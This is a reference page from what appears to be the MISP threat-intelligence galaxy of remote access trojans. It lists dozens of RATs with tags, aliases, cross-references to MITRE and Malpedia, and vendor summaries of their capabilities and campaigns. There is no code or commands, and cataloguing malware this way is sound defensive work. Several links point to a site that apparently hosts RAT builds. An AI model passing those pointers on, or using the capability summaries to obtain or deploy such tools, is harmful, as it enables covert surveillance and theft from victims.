similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"
Links |
4H RAT
4H RAT is malware that has been used by Putter Panda since at least 2007.
The tag is: misp-galaxy:rat="4H RAT"
4H RAT has relationships with:
-
similar: misp-galaxy:mitre-malware="4H RAT - S0065" with estimative-language:likelihood-probability="likely"
Links |
Darknet RAT
The tag is: misp-galaxy:rat="Darknet RAT"
Darknet RAT is also known as:
-
Dark NET RAT
Links |
http://www.connect-trojan.net/2015/06/dark-net-rat-v.0.3.9.0.html |
CIA RAT
The tag is: misp-galaxy:rat="CIA RAT"
Minimo
The tag is: misp-galaxy:rat="Minimo"
miniRAT
The tag is: misp-galaxy:rat="miniRAT"
Pain RAT
The tag is: misp-galaxy:rat="Pain RAT"
PlugX
PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008.
The tag is: misp-galaxy:rat="PlugX"
PlugX is also known as:
-
Korplug
-
SOGU
-
Scontroller
PlugX has relationships with:
-
similar: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
Links |
https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/ |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX |
UNITEDRAKE
The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden.
The tag is: misp-galaxy:rat="UNITEDRAKE"
Links |
http://thehackernews.com/2017/09/shadowbrokers-unitedrake-hacking.html |
https://www.itnews.com.au/news/shadowbrokers-release-unitedrake-nsa-malware-472771 |
MegaTrojan
Written in Visual Basic
The tag is: misp-galaxy:rat="MegaTrojan"
Links |
http://www.megasecurity.org/trojans/m/mega/Megatrojan1.0.html |
Venomous Ivy
The tag is: misp-galaxy:rat="Venomous Ivy"
Xploit
The tag is: misp-galaxy:rat="Xploit"
Arctic R.A.T.
The tag is: misp-galaxy:rat="Arctic R.A.T."
Arctic R.A.T. is also known as:
-
Artic
Links |
GOlden Phoenix
The tag is: misp-galaxy:rat="GOlden Phoenix"
Links |
http://www.connect-trojan.net/2014/02/golden-phoenix-rat-0.2.html |
GraphicBooting
The tag is: misp-galaxy:rat="GraphicBooting"
Links |
http://www.connect-trojan.net/2014/10/graphicbooting-rat-v0.1-beta.html?m=0 |
Pocket RAT
The tag is: misp-galaxy:rat="Pocket RAT"
Erebus
The tag is: misp-galaxy:rat="Erebus"
Erebus has relationships with:
-
similar: misp-galaxy:malpedia="Erebus (ELF)" with estimative-language:likelihood-probability="likely"
SharpEye
The tag is: misp-galaxy:rat="SharpEye"
Links |
http://www.connect-trojan.net/2014/10/sharpeye-rat-1.0-beta-1.html |
http://www.connect-trojan.net/2014/02/sharpeye-rat-1.0-beta-2.html |
VorteX
The tag is: misp-galaxy:rat="VorteX"
Archelaus Beta
The tag is: misp-galaxy:rat="Archelaus Beta"
Links |
http://www.connect-trojan.net/2014/02/archelaus-rat-beta.html |
BlackHole
C# RAT (Remote Adminitration Tool) - Educational purposes only
The tag is: misp-galaxy:rat="BlackHole"
BlackHole has relationships with:
-
similar: misp-galaxy:exploit-kit="BlackHole" with estimative-language:likelihood-probability="likely"
Links |
Vanguard
The tag is: misp-galaxy:rat="Vanguard"
Links |
http://ktwox7.blogspot.lu/2010/12/vanguard-remote-administration.html |
FINSPY
Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.
The tag is: misp-galaxy:rat="FINSPY"
FINSPY has relationships with:
-
similar: misp-galaxy:tool="FINSPY" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html |
Seed RAT
Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger.
The tag is: misp-galaxy:rat="Seed RAT"
Links |
SharpBot
The tag is: misp-galaxy:rat="SharpBot"
A32s RAT
The tag is: misp-galaxy:rat="A32s RAT"
Char0n
The tag is: misp-galaxy:rat="Char0n"
Nytro
The tag is: misp-galaxy:rat="Nytro"
Cobalt Strike
Cobalt Strike is software for Adversary Simulations and Red Team Operations.
The tag is: misp-galaxy:rat="Cobalt Strike"
Cobalt Strike has relationships with:
-
similar: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"
Links |
Sakula
The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components.
The tag is: misp-galaxy:rat="Sakula"
Sakula is also known as:
-
Sakurel
-
VIPER
Sakula has relationships with:
-
similar: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"
Links |
hcdLoader
hcdLoader is a remote access tool (RAT) that has been used by APT18.
The tag is: misp-galaxy:rat="hcdLoader"
hcdLoader has relationships with:
-
similar: misp-galaxy:mitre-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="likely"
Links |
Crimson
The tag is: misp-galaxy:rat="Crimson"
Crimson has relationships with:
-
similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"
Links |
http://www.connect-trojan.net/2015/01/crimson-rat-3.0.0.html |
KjW0rm
The tag is: misp-galaxy:rat="KjW0rm"
KjW0rm has relationships with:
-
similar: misp-galaxy:tool="KjW0rm" with estimative-language:likelihood-probability="likely"
Links |
Ghost
The tag is: misp-galaxy:rat="Ghost"
Ghost is also known as:
-
Ucul
Links |
9002
The tag is: misp-galaxy:rat="9002"
Sandro RAT
The tag is: misp-galaxy:rat="Sandro RAT"
Mega
The tag is: misp-galaxy:rat="Mega"
WiRAT
The tag is: misp-galaxy:rat="WiRAT"
3PARA RAT
The tag is: misp-galaxy:rat="3PARA RAT"
3PARA RAT has relationships with:
-
similar: misp-galaxy:mitre-malware="3PARA RAT - S0066" with estimative-language:likelihood-probability="likely"
Links |
BBS RAT
The tag is: misp-galaxy:rat="BBS RAT"
Konni
KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look.
The tag is: misp-galaxy:rat="Konni"
Konni is also known as:
-
KONNI
Konni has relationships with:
-
similar: misp-galaxy:tool="KONNI" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"
Felismus RAT
Used by Sowbug
The tag is: misp-galaxy:rat="Felismus RAT"
Links |
Xsser
Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user’s device and executes remote commands as directed by its command-and-control (C2) server.
The tag is: misp-galaxy:rat="Xsser"
Xsser is also known as:
-
mRAT
Links |
https://blogs.akamai.com/2014/12/ios-and-android-os-targeted-by-man-in-the-middle-attacks.html |
GovRAT
GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years.
The tag is: misp-galaxy:rat="GovRAT"
GovRAT has relationships with:
-
similar: misp-galaxy:malpedia="GovRAT" with estimative-language:likelihood-probability="likely"
Links |
http://securityaffairs.co/wordpress/41714/cyber-crime/govrat-platform.html |
http://securityaffairs.co/wordpress/51202/cyber-crime/govrat-2-0-attacks.html |
Killer RAT
The tag is: misp-galaxy:rat="Killer RAT"
Hi-Zor
The tag is: misp-galaxy:rat="Hi-Zor"
Hi-Zor has relationships with:
-
similar: misp-galaxy:mitre-malware="Hi-Zor - S0087" with estimative-language:likelihood-probability="likely"
Links |
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat |
Quaverse
Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim’s computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.
The tag is: misp-galaxy:rat="Quaverse"
Quaverse is also known as:
-
QRAT
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/ |
Heseber
The tag is: misp-galaxy:rat="Heseber"
Cardinal
Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it.
The tag is: misp-galaxy:rat="Cardinal"
Cardinal has relationships with:
-
similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"
OmniRAT
Works on all Android, Windows, Linux and Mac devices!
The tag is: misp-galaxy:rat="OmniRAT"
OmniRAT has relationships with:
-
similar: misp-galaxy:malpedia="OmniRAT" with estimative-language:likelihood-probability="likely"
Links |
Trochilus
Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed "the Seven Pointed Dagger," managed by another group, "Group 27," who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan’s functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.
The tag is: misp-galaxy:rat="Trochilus"
Trochilus has relationships with:
-
similar: misp-galaxy:tool="Trochilus" with estimative-language:likelihood-probability="likely"
Links |
http://securityaffairs.co/wordpress/43889/cyber-crime/new-rat-trochilus.html |
Matryoshka
Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.
The tag is: misp-galaxy:rat="Matryoshka"
Matryoshka has relationships with:
-
similar: misp-galaxy:tool="Matryoshka" with estimative-language:likelihood-probability="likely"
Links |
https://www.alienvault.com/blogs/security-essentials/matryoshka-malware-from-copykittens-group |
Mangit
First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan’s infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazillian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim’s browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim’s browsers and push pop-ups to the victim asking for the verification code they just received.
The tag is: misp-galaxy:rat="Mangit"
Links |
http://virusguides.com/newly-discovered-mangit-malware-offers-banking-trojan-service/ |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/mangit |
LeGeNd
The tag is: misp-galaxy:rat="LeGeNd"
Links |
http://www.connect-trojan.net/2016/08/legend-rat-v1.3-by-ahmed-ibrahim.html |
http://www.connect-trojan.net/2016/11/legend-rat-v1.9-by-ahmed-ibrahim.html |
Revenge-RAT
Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away.Revenge, which was written in Visual Basic, also didn’t feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.
The tag is: misp-galaxy:rat="Revenge-RAT"
Links |
vjw0rm 0.1
The tag is: misp-galaxy:rat="vjw0rm 0.1"
Links |
https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en |
rokrat
ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco’s Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, "Request Help" and attached malicious HWP filename, "I’m a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.
The tag is: misp-galaxy:rat="rokrat"
rokrat is also known as:
-
ROKRAT
Links |
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html |
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html |
Qarallax
Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).
The tag is: misp-galaxy:rat="Qarallax"
Qarallax is also known as:
-
qrat
Qarallax has relationships with:
-
similar: misp-galaxy:tool="qrat" with estimative-language:likelihood-probability="likely"
Links |
https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/ |
MoonWind
MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.
The tag is: misp-galaxy:rat="MoonWind"
MoonWind has relationships with:
-
similar: misp-galaxy:mitre-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"
Links |
Remcos
Remcos is another RAT (Remote Administration Tool) that was first discovered being sold in hacking forums in the second half of 2016. Since then, it has been updated with more features, and just recently, we’ve seen its payload being distributed in the wild for the first time.
The tag is: misp-galaxy:rat="Remcos"
Remcos has relationships with:
-
similar: misp-galaxy:malpedia="Remcos" with estimative-language:likelihood-probability="likely"
Links |
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2 |
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html |
Client Maximus
The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims’ web navigation and interrupt online banking session at will. After taking over a victim’s banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.
The tag is: misp-galaxy:rat="Client Maximus"
Client Maximus has relationships with:
-
similar: misp-galaxy:malpedia="Client Maximus" with estimative-language:likelihood-probability="likely"
Links |
TheFat RAT
Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most…
The tag is: misp-galaxy:rat="TheFat RAT"
Links |
RedLeaves
Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.
The tag is: misp-galaxy:rat="RedLeaves"
RedLeaves has relationships with:
-
similar: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"
Links |
http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html |
Rurktar
Dubbed Rurktar, the tool hasn’t had all of its functionality implemented yet, but G DATA says “it is relatively safe to say [it] is intended for use in targeted spying operations.” The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.
The tag is: misp-galaxy:rat="Rurktar"
Rurktar has relationships with:
-
similar: misp-galaxy:malpedia="Rurktar" with estimative-language:likelihood-probability="likely"
Links |
http://www.securityweek.com/rurktar-malware-espionage-tool-development |
RATAttack
RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim’s machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot’s Telegram token into the trojan’s configuration file. When a system is infected with RATAttack, it connects to the bot’s Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan’s code was available on GitHub then was taken down by the author on April 19, 2017.
The tag is: misp-galaxy:rat="RATAttack"
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ratattack |
KhRAT
So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.
The tag is: misp-galaxy:rat="KhRAT"
Links |
AhNyth Android
Android Remote Administration Tool
The tag is: misp-galaxy:rat="AhNyth Android"
Links |
Socket23
SOCKET23 was launched from his web site and immedi- ately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’
The tag is: misp-galaxy:rat="Socket23"
Links |
https://www.virusbulletin.com/uploads/pdf/magazine/1999/199908.pdf |
PowerRAT
The tag is: misp-galaxy:rat="PowerRAT"
MacSpy
Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the "most sophisticated Mac spyware ever", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn’t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.
The tag is: misp-galaxy:rat="MacSpy"
MacSpy has relationships with:
-
similar: misp-galaxy:malpedia="MacSpy" with estimative-language:likelihood-probability="likely"
Links |
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service |
DNSMessenger
Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.
The tag is: misp-galaxy:rat="DNSMessenger"
DNSMessenger has relationships with:
-
similar: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
Links |
NewCore
NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCortr backdoor trojans.
The tag is: misp-galaxy:rat="NewCore"
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/newcore |
Deeper RAT
The tag is: misp-galaxy:rat="Deeper RAT"
Xyligan
The tag is: misp-galaxy:rat="Xyligan"
H-w0rm
The tag is: misp-galaxy:rat="H-w0rm"
htpRAT
On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary’s arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —’file download’ or ‘file upload,’ for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim’s network, simply by wrapping commands.
The tag is: misp-galaxy:rat="htpRAT"
htpRAT has relationships with:
-
similar: misp-galaxy:malpedia="htpRAT" with estimative-language:likelihood-probability="likely"
Links |
FALLCHILL
According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.
The tag is: misp-galaxy:rat="FALLCHILL"
FALLCHILL has relationships with:
-
similar: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
Links |
UBoatRAT
Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry Distributes malware through Google Drive Obtains C2 address from GitHub Uses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.
The tag is: misp-galaxy:rat="UBoatRAT"
Links |
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ |
CrossRat
The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool…which is able to target Windows, OSX, and Linux.”
The tag is: misp-galaxy:rat="CrossRat"
Links |
TSCookieRAT
TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.
The tag is: misp-galaxy:rat="TSCookieRAT"
Links |
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html |
Coldroot
Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, "to Play with Mac users," and "give Mac it’s rights in this [the RAT] field," but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.
The tag is: misp-galaxy:rat="Coldroot"
Links |
Comnie
Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.
The tag is: misp-galaxy:rat="Comnie"
Links |
GravityRAT
GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We’ve seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.
The tag is: misp-galaxy:rat="GravityRAT"
Links |
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html |
ARS VBS Loader
ARS VBS Loader not only downloads and executes malicious code, but also includes a command and control application written in PHP that allows a botmaster to issue commands to a victim’s machine. This behavior likens ARS VBS Loader to a remote access Trojan (RAT), giving it behavior and capabilities rarely seen in malicious "loaders".
The tag is: misp-galaxy:rat="ARS VBS Loader"
ARS VBS Loader has relationships with:
-
similar: misp-galaxy:malpedia="ARS VBS Loader" with estimative-language:likelihood-probability="likely"
Links |
RadRAT
RadRAT, its capabilities include: unfettered control of the compromised computer, lateral movement across the organization (Mimikatz-like credentials harvesting, NTLM hash harvesting from the Windows registry and implementation of the Pass-the-Hash attack on SMB connections) and rootkit-like detection-evasion mechanisms.
The tag is: misp-galaxy:rat="RadRAT"
RadRAT has relationships with:
-
similar: misp-galaxy:malpedia="RadRAT" with estimative-language:likelihood-probability="likely"
Links |
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/ |
FlawedAmmyy
FlawedAmmyy, has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. The RAT is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such FlawedAmmyy contains the functionality of the leaked version, including: Remote Desktop control, File system manager, Proxy support, Audio Chat.
The tag is: misp-galaxy:rat="FlawedAmmyy"
FlawedAmmyy has relationships with:
-
similar: misp-galaxy:malpedia="FlawedAmmyy" with estimative-language:likelihood-probability="likely"
Links |
Spymaster Pro
Monitoring Software
The tag is: misp-galaxy:rat="Spymaster Pro"
Links |
https://spycellphone.mobi/reviews/spymaster-pro-real-review-with-screenshots |
NavRAT
Classic RAT that can download, upload, execute commands on the victim host and perform keylogging. However, the command and control (C2) infrastructure is very specific. It uses the legitimate Naver email platform in order to communicate with the attackers via email
The tag is: misp-galaxy:rat="NavRAT"
NavRAT has relationships with:
-
similar: misp-galaxy:malpedia="NavRAT" with estimative-language:likelihood-probability="likely"
Links |
joanap
Joanap is a two-stage malware used to establish peer-to-peer communications and to manage botnets designed to enable other operations. Joanap malware provides HIDDEN COBRA actors with the ability to exfiltrate data, drop and run secondary payloads, and initialize proxy communications on a compromised Windows device.
The tag is: misp-galaxy:rat="joanap"
Links |
Sisfader
Sisfader maintains persistence installing itself as a system service, it is made up of multiple components ([1] Dropper - installing the malware, [2] Agent - main code of the RAT, [3] Config - written to the registry, [4] Auto Loader - responsible for extracting the Agent, the Config from the registry) and it has its own custom protocol for communication.
The tag is: misp-galaxy:rat="Sisfader"
Sisfader has relationships with:
-
similar: misp-galaxy:malpedia="Sisfader" with estimative-language:likelihood-probability="likely"
Links |
SocketPlayer
The RAT is written in .NET, it uses socket.io for communication. Currently there are two variants of the malware, the 1st variant is a typical downloader whereas the 2nd one has download and C2 functionalities.
The tag is: misp-galaxy:rat="SocketPlayer"
Hallaj PRO RAT
RAT
The tag is: misp-galaxy:rat="Hallaj PRO RAT"
Links |
https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/ |
NukeSped
This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publically available if you don’t follow the malicious hacker’s commands.
The tag is: misp-galaxy:rat="NukeSped"
Links |
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojNukeSped-Z.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojNukeSped-Z.aspx] |
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/NukeSped |
TheOneSpy
Remotely monitor and control any wrong activity of kids on all smartphones & computers
The tag is: misp-galaxy:rat="TheOneSpy"
Links |
BONDUPDATER
BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.
The tag is: misp-galaxy:rat="BONDUPDATER"
Links |
FlawedGrace
